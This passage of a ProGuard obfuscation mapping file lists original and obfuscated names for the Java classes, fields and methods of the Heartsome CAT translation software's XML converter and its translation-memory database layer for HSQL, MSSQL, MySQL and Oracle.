+ boolean inAttribute -> mV + boolean isResx -> nc + java.lang.String startText -> nd + java.lang.String endText -> endText + boolean isSuite -> dS + java.lang.String qtToolID -> dT + java.lang.String format -> format + net.heartsome.cat.converter.xml.Xml2Xliff this$0 -> nf + java.util.Map run(java.util.Map,org.eclipse.core.runtime.IProgressMonitor) -> run + java.lang.String getIniFile(java.lang.String) -> getIniFile + java.lang.String cleanEntity(java.lang.String) -> bU + java.lang.String getRootElement(java.lang.String) -> bV + void writeHeader() -> writeHeader + void processList(org.eclipse.core.runtime.IProgressMonitor) -> a + void writeSegment(java.lang.String) -> x + java.lang.String tidy(java.lang.String) -> bW + boolean containsText(java.lang.String) -> s + java.lang.String normalize(java.lang.String) -> normalize + java.lang.String addTags(java.lang.String) -> B + java.lang.String tag(java.lang.String) -> C + java.lang.String cleanString(java.lang.String) -> cleanString + void writeSkeleton(java.lang.String) -> D + void writeString(java.lang.String) -> writeString + java.lang.String extractAttributes(java.lang.String,java.lang.String) -> e + void buildTables(java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> a + void buildList(org.eclipse.core.runtime.IProgressMonitor) -> n + void parseNode(org.w3c.dom.Node) -> a + void normalizeElement(net.heartsome.xml.Element) -> x + java.lang.String cleanAttribute(java.lang.String) -> ax + java.lang.String getType(java.lang.String) -> getType + java.lang.String getEncoding(java.lang.String) -> getEncoding +net.heartsome.cat.converter.xml.resource.Messages -> net.heartsome.cat.converter.xml.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.Activator -> net.heartsome.cat.database.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.osgi.framework.BundleContext context -> context + net.heartsome.cat.database.Activator plugin -> ng + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.Activator getDefault() -> getDefault +net.heartsome.cat.database.Constants -> net.heartsome.cat.database.Constants: + int DB_TYPE_TM -> DB_TYPE_TM + int DB_TYPE_TB -> DB_TYPE_TB + int SPLIT_NUM -> SPLIT_NUM + java.lang.String CONFIGURE -> CONFIGURE + java.lang.String DBCONFIG_PATH -> DBCONFIG_PATH + java.lang.String HSSYSDB -> HSSYSDB + java.lang.String OPTIMIZE_SPEED -> OPTIMIZE_SPEED + java.lang.String TBX -> TBX + java.lang.String TMX -> TMX + int IMPORT_MODEL_ALWAYSADD -> IMPORT_MODEL_ALWAYSADD + int IMPORT_MODEL_OVERWRITE -> IMPORT_MODEL_OVERWRITE + int IMPORT_MODEL_IGNORE -> IMPORT_MODEL_IGNORE + int IMPORT_MODEL_MERGE -> IMPORT_MODEL_MERGE + java.lang.String DBTYPE_INTERNALDB -> DBTYPE_INTERNALDB + java.lang.String DBTYPE_MYSQL -> DBTYPE_MYSQL + java.lang.String DBTYPE_Oracle -> DBTYPE_Oracle + java.lang.String DBTYPE_POSTGRESQL -> DBTYPE_POSTGRESQL + java.lang.String DBTYPE_MSSQL2005 -> DBTYPE_MSSQL2005 + java.lang.String DBTYPE_SQLITE -> DBTYPE_SQLITE + java.lang.String DBTYPE_MYSQL_FOR_UI -> DBTYPE_MYSQL_FOR_UI + java.lang.String DBTYPE_MSSQL2005_FOR_UI -> DBTYPE_MSSQL2005_FOR_UI + java.lang.String TBX_ADD_TERM_FILEDESC -> TBX_ADD_TERM_FILEDESC + java.lang.String TBX_XCS_DEFAULT -> TBX_XCS_DEFAULT + int SUCCESS -> SUCCESS + int FAILURE -> FAILURE + java.lang.String X_FLAG -> X_FLAG + java.lang.String HS_FLAG -> HS_FLAG +net.heartsome.cat.database.DBConfig -> net.heartsome.cat.database.DBConfig: + org.slf4j.Logger logger -> logger + org.dom4j.Element root -> nh + org.dom4j.Element defaultRoot -> ni + net.heartsome.cat.common.bean.MetaData metaData -> nj + java.lang.String getDefaultServer() -> getDefaultServer + java.lang.String getDefaultType() -> getDefaultType + java.lang.String getDefaultPort() -> getDefaultPort + java.lang.String getDefaultProperty(java.lang.String) -> bX + java.lang.String getDbURL() -> getDbURL + java.util.HashMap getConfigProperty() -> getConfigProperty + java.lang.String getCreateDb() -> getCreateDb + java.lang.String getDropDb() -> getDropDb + java.util.List getCreateTables() -> getCreateTables + java.util.List getCreateIndexs() -> getCreateIndexs + java.lang.String getDriver() -> getDriver + java.lang.String getSysDbList() -> getSysDbList + java.lang.String getInsertSysDb() -> getInsertSysDb + java.lang.String getCreateSysDb() -> getCreateSysDb + java.util.List getCreateSysTables() -> getCreateSysTables + java.lang.String getRemoveSysDb() -> getRemoveSysDb + java.util.List getCreateMatrixTables() -> getCreateMatrixTables + java.util.List getCreateMatrixIndexes() -> getCreateMatrixIndexes + java.util.List getCreateMatrix(java.lang.String) -> bY + java.lang.String getMatrixSQL(java.lang.String) -> getMatrixSQL + java.lang.String getOperateDbSQL(java.lang.String) -> getOperateDbSQL + org.dom4j.Element getElementWithDefault(java.lang.String) -> bZ + void setMetaData(net.heartsome.cat.common.bean.MetaData) -> setMetaData +net.heartsome.cat.database.DBOperator -> net.heartsome.cat.database.DBOperator: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.common.bean.MetaData metaData -> nj + net.heartsome.cat.database.DBConfig dbConfig -> nk + java.sql.Connection conn -> nl + java.util.Vector langCaches -> nm + void setMetaData(net.heartsome.cat.common.bean.MetaData) -> setMetaData + net.heartsome.cat.common.bean.MetaData getMetaData() -> getMetaData + net.heartsome.cat.database.DBConfig getDbConfig() -> getDbConfig + void start() -> start + void end() -> end + boolean isClosed() -> isClosed + java.sql.Connection getConnection() -> getConnection + void rollBack() -> rollBack + void commit() -> commit + void beginTransaction() -> beginTransaction + java.lang.String insertHeader(java.util.Hashtable) -> insertHeader + void insertHeaderNode(java.util.Hashtable) -> insertHeaderNode + int insertTU(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTU + java.lang.String insertTextData(java.lang.String,int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTextData + void insertTMXProp(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXProp + void insertTMXNote(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXNote + void insertTMXExtra(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXExtra + boolean hasLangInDB(java.lang.String) -> hasLangInDB + boolean checkHasMatchs(java.lang.String,java.lang.String) -> checkHasMatchs + java.util.Map getExtraValue(java.lang.Integer,java.lang.String,java.lang.String) -> getExtraValue + java.util.Map getMPropValue(java.lang.Integer,java.lang.String) -> getMPropValue + java.util.List getTuMprops(int,java.lang.String) -> getTuMprops + java.util.List getTuMNote(int,java.lang.String) -> getTuMNote + java.util.Map getMNoteValue(java.lang.Integer,java.lang.String) -> getMNoteValue + java.util.List getTextDataId(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> getTextDataId + java.util.List getTextDataId(int,java.lang.String,java.lang.String) -> getTextDataId + java.util.List getTUInfoByTuvInfo(int,java.lang.String,java.lang.String) -> getTUInfoByTuvInfo + java.util.List getTUInfoByTuvInfo(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> getTUInfoByTuvInfo + java.util.List getTextDataIdByGroupIdLang(int,java.lang.String,java.lang.String) -> getTextDataIdByGroupIdLang + java.util.Map getTextDataValue(java.lang.String,java.lang.Integer,java.lang.String) -> getTextDataValue + java.util.Map getTUByTuPkId(java.lang.Integer) -> getTUByTuPkId + java.util.List getTUInfoByTuvPkids(java.util.List) -> getTUInfoByTuvPkids + void updateTU(java.util.Map) -> updateTU + void updateTuChangeInfo(int,java.lang.String,java.lang.String,java.lang.String) -> updateTuChangeInfo + void updateTUExtra(java.util.Map) -> updateTUExtra + void updateMProp(java.util.Map) -> updateMProp + void updateTuvContext(int,java.lang.String,java.lang.String,java.lang.String) -> updateTuvContext + void deleteAllTuvRelations(java.util.List,java.lang.String) -> deleteAllTuvRelations + void deleteMprop(java.lang.String,java.lang.String) -> deleteMprop + void deleteMNote(java.lang.String,java.lang.String) -> deleteMNote + void deleteExtra(java.lang.String,java.lang.String) -> deleteExtra + void deleteMatrxLang(java.lang.String,java.lang.String) -> deleteMatrxLang + java.util.Vector checkTerms(java.lang.String,java.lang.String,java.lang.String) -> checkTerms + java.util.Vector findMatch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,boolean,int,int,int,boolean,java.lang.String[],int,boolean) -> findMatch + java.util.Vector findMatch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,boolean,int,int,int,boolean,boolean) -> findMatch + java.util.Vector findMatchByRegex(java.lang.String[],java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,int,int) -> findMatchByRegex + java.util.Vector findMatch4QT(java.lang.String,java.lang.String,java.lang.String,int,boolean) -> findMatch4QT + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + java.util.Map query(java.lang.String,java.lang.Object[]) -> a + void setParameter(java.sql.PreparedStatement,int,java.lang.Object) -> a + int insertBMartifHeader(java.lang.String,java.lang.String) -> insertBMartifHeader + void insertBAttribute(java.util.Map,java.lang.String,int) -> insertBAttribute + int insertBRefobjectlist(java.lang.String,java.lang.String,int) -> insertBRefobjectlist + int insertBTermentry(java.lang.String,java.lang.String,int) -> insertBTermentry + void insertBNode(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertBNode + void deleteBNode(java.util.List) -> deleteBNode + java.util.List getBNodeByParent(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> getBNodeByParent + java.util.List getBTermEntryByPk(java.util.List) -> getBTermEntryByPk + java.lang.String getTermEntryContentByPk(java.lang.Integer) -> getTermEntryContentByPk + java.util.List getTextDataGroupIdByTextId(java.util.List) -> getTextDataGroupIdByTextId + void updateTermEntry(java.lang.String,java.lang.String) -> updateTermEntry + void deleteTerm(java.lang.String,java.lang.String) -> deleteTerm + java.util.List getLanguages() -> getLanguages + java.util.Map getCandidatesTextDataPks(java.lang.String,int,int,int[]) -> a + int[] generateNgrams(java.lang.String,java.lang.String) -> w + java.util.Vector findMatch(java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String) -> findMatch + java.util.Vector findMatch_1(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean) -> findMatch_1 + void fuzzySearch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.FuzzySearchResults,int) -> fuzzySearch + void translationUnitAnalysis(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.TranslationUnitAnalysisResults,int) -> translationUnitAnalysis + int similarity(java.lang.String,java.lang.String) -> similarity + boolean isDuplicated(java.util.Vector,java.util.Hashtable) -> a + java.util.List getConcordanceSearchResult(java.lang.String,boolean,boolean,boolean,java.lang.String,java.util.List,java.util.List) -> getConcordanceSearchResult + java.util.ArrayList getConcordanceGroupId(java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[],java.util.ArrayList) -> getConcordanceGroupId + java.lang.String getTMSearchSql(java.lang.String,boolean,java.util.List,java.util.List) -> getTMSearchSql + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql + void addOrRemoveFlag(boolean,java.lang.String) -> addOrRemoveFlag + java.util.HashMap getTermBaseResult(java.lang.String,boolean,boolean,boolean,java.lang.String,java.util.List,int) -> getTermBaseResult + java.lang.String getTermBaseSearchSql(java.lang.String,boolean,boolean,boolean,java.lang.String,java.util.List) -> getTermBaseSearchSql + java.util.List getAfterFilterTuPk(java.lang.String,java.lang.String,java.lang.String) -> getAfterFilterTuPk + int getAfterFilterTuHeaderPk(java.lang.String,java.lang.String,java.lang.String) -> getAfterFilterTuHeaderPk + java.lang.String generationExportTMXFilter(java.lang.String,net.heartsome.cat.database.bean.ExportFilterBean) -> generationExportTMXFilter + java.lang.String retrieveTu(int,java.util.List,boolean,boolean) -> retrieveTu + java.lang.String retrieveExtra(int,java.lang.String,java.lang.String) -> a + java.lang.String retrieveNote(int,java.lang.String) -> c + java.lang.String retrieveProp(int,java.lang.String) -> d + java.lang.String retrieveTuv(int,java.util.List,boolean,boolean) -> a + java.util.Map changeToTMX(java.util.Map,java.util.Map) -> c + java.util.List getAfterFilterTermEntryPK(java.lang.String,java.util.List) -> getAfterFilterTermEntryPK + java.util.List validateTermEntryPk(java.util.List,java.util.List,java.lang.String) -> validateTermEntryPk + java.lang.String retrieveTermEntry(int) -> retrieveTermEntry +net.heartsome.cat.database.DBOperator$FindMatchComparator -> net.heartsome.cat.database.DBOperator$FindMatchComparator: + net.heartsome.cat.database.DBOperator this$0 -> nn + int compare(java.util.Hashtable,java.util.Hashtable) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.DBServiceProvider -> net.heartsome.cat.database.DBServiceProvider: + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance +net.heartsome.cat.database.NGrams -> net.heartsome.cat.database.NGrams: + int NGRAMSIZE -> no + java.lang.String SEPARATORS -> SEPARATORS + int[] getNGrams(java.lang.String,boolean) -> getNGrams + java.util.Vector buildWordList(java.lang.String) -> ca +net.heartsome.cat.database.SystemDBOperator -> net.heartsome.cat.database.SystemDBOperator: + org.slf4j.Logger logger -> logger + net.heartsome.cat.common.bean.MetaData metaData -> nj + net.heartsome.cat.database.DBConfig dbConfig -> nk + int FAILURE_1 -> FAILURE_1 + int createDB() -> createDB + int createSysDb() -> createSysDb + int createDB(java.lang.String,java.util.List,net.heartsome.cat.common.bean.MetaData) -> a + boolean checkDbConnection() -> checkDbConnection + void updataSysDb(int) -> updataSysDb + boolean checkSysDb() -> checkSysDb + void addSysDb(java.lang.String,java.lang.String,int) -> addSysDb + void removeSysDb(java.lang.String) -> removeSysDb + java.util.List getSysDbNames(int) -> getSysDbNames + void dropDb(java.lang.String) -> dropDb + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection + void freeConnection(java.sql.Statement,java.sql.Connection) -> a + net.heartsome.cat.common.bean.MetaData getMetaData() -> getMetaData + void setMetaData(net.heartsome.cat.common.bean.MetaData) -> setMetaData + net.heartsome.cat.database.DBConfig getDBConfig() -> getDBConfig + boolean checkDbExistOnServer() -> checkDbExistOnServer +net.heartsome.cat.database.TranslationMemoryTools -> net.heartsome.cat.database.TranslationMemoryTools: + java.lang.String getInnerTagContent(java.lang.String) -> getInnerTagContent + java.lang.String getTagName(java.lang.String) -> getTagName + void main(java.lang.String[]) -> main +net.heartsome.cat.database.Utils -> net.heartsome.cat.database.Utils: + java.lang.String replaceParams(java.lang.String,net.heartsome.cat.common.bean.MetaData) -> replaceParams + java.util.Properties replaceParams(java.util.HashMap,net.heartsome.cat.common.bean.MetaData) -> replaceParams + java.lang.String langToCode(java.lang.String) -> langToCode + java.util.Hashtable getHeaderMatch() -> getHeaderMatch + java.util.Map getTMXNotesMatch() -> getTMXNotesMatch + java.util.Map getTMXPropsMatch() -> getTMXPropsMatch + java.util.Map getTUMatch() -> getTUMatch + java.util.Map getTUDbMatchTmx() -> getTUDbMatchTmx + java.lang.String validateCode(int) -> validateCode + java.lang.String replaceString(java.lang.String,java.lang.String,java.lang.String) -> replaceString + java.util.Map getFilterMatchMTU(java.lang.String) -> getFilterMatchMTU + java.lang.String convertLangCode(java.lang.String) -> convertLangCode + java.io.File clearTmxFile(java.io.File) -> clearTmxFile + java.lang.String clearXMLEnconding(java.lang.String) -> cn + void main(java.lang.String[]) -> main +net.heartsome.cat.database.bean.ExportDatabaseBean -> net.heartsome.cat.database.bean.ExportDatabaseBean: + java.lang.String index -> index + net.heartsome.cat.common.bean.MetaData dbBean -> np + java.lang.String existLangs -> nq + java.util.List hasSelectedLangs -> nr + java.lang.String srcLang -> srcLang + java.lang.String exportFilePath -> ns + java.util.List canSelSrcLangs -> nt + java.lang.String getIndex() -> getIndex + void setIndex(java.lang.String) -> setIndex + net.heartsome.cat.common.bean.MetaData getDbBean() -> getDbBean + void setDbBean(net.heartsome.cat.common.bean.MetaData) -> setDbBean + java.lang.String getExistLangs() -> getExistLangs + void setExistLangs(java.lang.String) -> setExistLangs + java.util.List getCanSelSrcLangs() -> getCanSelSrcLangs + void setCanSelSrcLangs(java.util.List) -> setCanSelSrcLangs + java.util.List getHasSelectedLangs() -> getHasSelectedLangs + void setHasSelectedLangs(java.util.List) -> setHasSelectedLangs + java.lang.String getSrcLang() -> getSrcLang + void setSrcLang(java.lang.String) -> setSrcLang + java.lang.String getExportFilePath() -> getExportFilePath + void setExportFilePath(java.lang.String) -> setExportFilePath + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.database.bean.ExportFilterBean -> net.heartsome.cat.database.bean.ExportFilterBean: + java.lang.String filterName -> nu + java.util.List filterOption -> nv + java.lang.String filterConnector -> nw + java.lang.String filterType -> nx + java.lang.String getFilterName() -> getFilterName + void setFilterName(java.lang.String) -> setFilterName + java.util.List getFilterOption() -> getFilterOption + void setFilterOption(java.util.List) -> setFilterOption + java.lang.String getFilterConnector() -> getFilterConnector + void setFilterConnector(java.lang.String) -> setFilterConnector + java.lang.String getFilterType() -> getFilterType + void setFilterType(java.lang.String) -> setFilterType +net.heartsome.cat.database.bean.ExportFilterComponentBean -> net.heartsome.cat.database.bean.ExportFilterComponentBean: + java.lang.String optionName -> optionName + java.lang.String expression -> expression + java.util.LinkedHashMap filterContent -> ny + java.lang.String filterVlaue -> nz + java.util.Map matchDb -> nA + java.util.Map matchDbOp -> nB + java.lang.String[] getExpressionsByName(java.lang.String) -> getExpressionsByName + java.lang.String[] getCurrentFilterExpressions() -> getCurrentFilterExpressions + java.lang.String[] getFilterNames() -> getFilterNames + java.lang.String getOptionName() -> getOptionName + java.lang.String getMatchDbField() -> getMatchDbField + void setOptionName(java.lang.String) -> setOptionName + java.lang.String getCurrentExpression() -> getCurrentExpression + java.lang.String getExpressionMatchDb() -> getExpressionMatchDb + void setCurrentExpression(java.lang.String) -> setCurrentExpression + java.util.LinkedHashMap getFilterContent() -> getFilterContent + void setFilterContent(java.util.LinkedHashMap) -> setFilterContent + java.lang.String getFilterVlaue() -> getFilterVlaue + void setFilterVlaue(java.lang.String) -> setFilterVlaue +net.heartsome.cat.database.bean.FuzzySearchResults -> net.heartsome.cat.database.bean.FuzzySearchResults: + int maxTuNumber -> Bj + java.util.List results -> Bl + int sortStrategy -> Bm + java.lang.String deffaultTm -> Jz + java.util.Comparator sortComparator -> LE + void sort() -> sort + void add(net.heartsome.cat.common.bean.FuzzySearchResult) -> add + java.util.List getSearchResult() -> getSearchResult + void clearResults() -> clearResults + boolean contains(net.heartsome.cat.common.bean.FuzzySearchResult) -> contains + int access$0(net.heartsome.cat.database.bean.FuzzySearchResults) -> a + java.lang.String access$1(net.heartsome.cat.database.bean.FuzzySearchResults) -> b +net.heartsome.cat.database.bean.FuzzySearchResults$1 -> net.heartsome.cat.database.bean.FuzzySearchResults$1: + net.heartsome.cat.database.bean.FuzzySearchResults this$0 -> LF + int compare(net.heartsome.cat.common.bean.FuzzySearchResult,net.heartsome.cat.common.bean.FuzzySearchResult) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.bean.TBPreferenceConstants -> net.heartsome.cat.database.bean.TBPreferenceConstants: + java.lang.String TB_UPDATE -> TB_UPDATE + int TB_ALWAYS_ADD -> TB_ALWAYS_ADD + int TB_REPEAT_OVERWRITE -> TB_REPEAT_OVERWRITE + int TB_REPEAT_MERGE -> TB_REPEAT_MERGE + int TB_REPEAT_IGNORE -> TB_REPEAT_IGNORE + java.lang.String TB_CASE_SENSITIVE -> TB_CASE_SENSITIVE + java.lang.String TB_RM_DBTYPE -> TB_RM_DBTYPE + java.lang.String TB_RM_INSTANCE -> TB_RM_INSTANCE + java.lang.String TB_RM_SERVER -> TB_RM_SERVER + java.lang.String TB_RM_PORT -> TB_RM_PORT + java.lang.String TB_RM_PATH -> TB_RM_PATH + java.lang.String TB_RM_USERNAME -> TB_RM_USERNAME +net.heartsome.cat.database.bean.TMPreferenceConstants -> net.heartsome.cat.database.bean.TMPreferenceConstants: + java.lang.String MATCH_PERCENTAGE_SORT_WITH_EQUAL -> MATCH_PERCENTAGE_SORT_WITH_EQUAL + java.lang.String TM_UPDATE -> TM_UPDATE + java.lang.String CASE_SENSITIVE -> CASE_SENSITIVE + java.lang.String IGNORE_MARK -> IGNORE_MARK + java.lang.String CONTEXT_MATCH -> CONTEXT_MATCH + java.lang.String MAX_MATCH_NUMBER -> MAX_MATCH_NUMBER + java.lang.String MIN_MATCH -> MIN_MATCH + java.lang.String TAG_PENALTY -> TAG_PENALTY + int DEFAULT_DB_PRECEDENCE -> DEFAULT_DB_PRECEDENCE + int DATE_REVERSE_PRECEDENCE -> DATE_REVERSE_PRECEDENCE + int TM_ALWAYS_ADD -> TM_ALWAYS_ADD + int TM_REPEAT_OVERWRITE -> TM_REPEAT_OVERWRITE + int TM_REPEAT_IGNORE -> TM_REPEAT_IGNORE + java.lang.String TM_RM_DBTYPE -> TM_RM_DBTYPE + java.lang.String TM_RM_INSTANCE -> TM_RM_INSTANCE + java.lang.String TM_RM_SERVER -> TM_RM_SERVER + java.lang.String TM_RM_PORT -> TM_RM_PORT + java.lang.String TM_RM_PATH -> TM_RM_PATH + java.lang.String TM_RM_USERNAME -> TM_RM_USERNAME +net.heartsome.cat.database.bean.TranslationUnitAnalysisResults -> net.heartsome.cat.database.bean.TranslationUnitAnalysisResults: + int maxTuNumber -> Bj + java.util.List results -> Bl + int sortStrategy -> Bm + java.lang.String deffaultTm -> Jz + java.util.Comparator sortComparator -> LE + java.util.List getAnaylysisResults() -> getAnaylysisResults + void add(net.heartsome.cat.common.bean.TranslationUnitAnalysisResult) -> add + void sort() -> sort + void clearResults() -> clearResults +net.heartsome.cat.database.bean.TranslationUnitAnalysisResults$1 -> net.heartsome.cat.database.bean.TranslationUnitAnalysisResults$1: + net.heartsome.cat.database.bean.TranslationUnitAnalysisResults this$0 -> LG + int compare(net.heartsome.cat.common.bean.TranslationUnitAnalysisResult,net.heartsome.cat.common.bean.TranslationUnitAnalysisResult) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.hsql.Activator -> net.heartsome.cat.database.hsql.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.hsql.Activator plugin -> nC + org.osgi.framework.ServiceRegistration hsqlServiceRegistration -> nD + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.hsql.Activator getDefault() -> dd +net.heartsome.cat.database.hsql.DbServiceProviderImpl -> net.heartsome.cat.database.hsql.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.hsql.MetaDataImpl -> net.heartsome.cat.database.hsql.c: + boolean instanceSupported() -> instanceSupported + boolean passwordSupported() -> passwordSupported + boolean portSupported() -> portSupported + boolean serverNameSupported() -> serverNameSupported + boolean userNameSupported() -> userNameSupported +net.heartsome.cat.database.hsql.OperateSystemDBImpl -> net.heartsome.cat.database.hsql.d: + org.slf4j.Logger logger -> logger + int createDB() -> createDB + int createDB(java.util.List,net.heartsome.cat.common.bean.MetaData) -> a + void removeSysDb(java.lang.String) -> removeSysDb + void addSysDb(java.lang.String,java.lang.String,int) -> addSysDb + int createSysDb() -> createSysDb + boolean checkSysDb() -> checkSysDb + java.util.List getSysDbNames(int) -> getSysDbNames + boolean checkDbConnection() -> checkDbConnection + boolean checkDbExistOnServer() -> checkDbExistOnServer + void dropDb(java.lang.String) -> dropDb + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection +net.heartsome.cat.database.hsql.TMDatabaseImpl -> net.heartsome.cat.database.hsql.e: + void start() -> start + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql +net.heartsome.cat.database.hsql.resource.Messages -> net.heartsome.cat.database.hsql.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.mssql.Activator -> net.heartsome.cat.database.mssql.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.mssql.Activator plugin -> nE + org.osgi.framework.ServiceRegistration mssqlServiceRegistration -> nF + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.mssql.Activator getDefault() -> de +net.heartsome.cat.database.mssql.DbServiceProviderImpl -> net.heartsome.cat.database.mssql.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.mssql.MetaDataImpl -> net.heartsome.cat.database.mssql.c: + boolean dataPathSupported() -> dataPathSupported + boolean instanceSupported() -> instanceSupported +net.heartsome.cat.database.mssql.OperateDBImpl -> net.heartsome.cat.database.mssql.d: + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection +net.heartsome.cat.database.mssql.TMDatabaseImpl -> net.heartsome.cat.database.mssql.e: + void start() -> start + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql +net.heartsome.cat.database.mysql.Activator -> net.heartsome.cat.database.mysql.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.mysql.Activator plugin -> nG + org.osgi.framework.ServiceRegistration mysqlServiceRegistration -> nH + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.mysql.Activator getDefault() -> df +net.heartsome.cat.database.mysql.DbServiceProviderImpl -> net.heartsome.cat.database.mysql.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.mysql.MetaDataImpl -> net.heartsome.cat.database.mysql.c: + boolean dataPathSupported() -> dataPathSupported + boolean instanceSupported() -> instanceSupported +net.heartsome.cat.database.mysql.OperateSystemDBImpl -> net.heartsome.cat.database.mysql.d: + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection +net.heartsome.cat.database.mysql.TMDatabaseImpl -> net.heartsome.cat.database.mysql.e: + void start() -> start + java.util.Vector findMatch(java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String) -> findMatch + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql +net.heartsome.cat.database.mysql.Test -> net.heartsome.cat.database.mysql.f: + void main(java.lang.String[]) -> main + java.sql.Connection getConnection() -> getConnection +net.heartsome.cat.database.oracle.Activator -> net.heartsome.cat.database.oracle.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.oracle.Activator plugin -> nI + org.osgi.framework.ServiceRegistration oracleServiceRegistration -> nJ + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.oracle.Activator getDefault() -> dg +net.heartsome.cat.database.oracle.DbServiceProviderImpl -> net.heartsome.cat.database.oracle.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.oracle.MetaDataImpl -> net.heartsome.cat.database.oracle.c: + boolean dataPathSupported() -> dataPathSupported +net.heartsome.cat.database.oracle.OperateDBImpl -> net.heartsome.cat.database.oracle.d: + org.slf4j.Logger logger -> logger + boolean checkSysDb() -> checkSysDb + int createDB() -> createDB + int createSysDb() -> createSysDb + int benchOperate(java.util.List) -> p + void dropDb(java.lang.String) -> dropDb + java.util.List dropMatrixDb(java.lang.String) -> cb + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection + boolean checkDbExistOnServer() -> checkDbExistOnServer +net.heartsome.cat.database.oracle.TMDatabaseImpl -> net.heartsome.cat.database.oracle.e: + void setMetaData(net.heartsome.cat.common.bean.MetaData) -> setMetaData + java.lang.String insertHeader(java.util.Hashtable) -> insertHeader + void insertHeaderNode(java.util.Hashtable) -> insertHeaderNode + java.lang.String insertTU(java.util.Hashtable) -> insertTU + java.lang.String insertTextData(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTextData + int 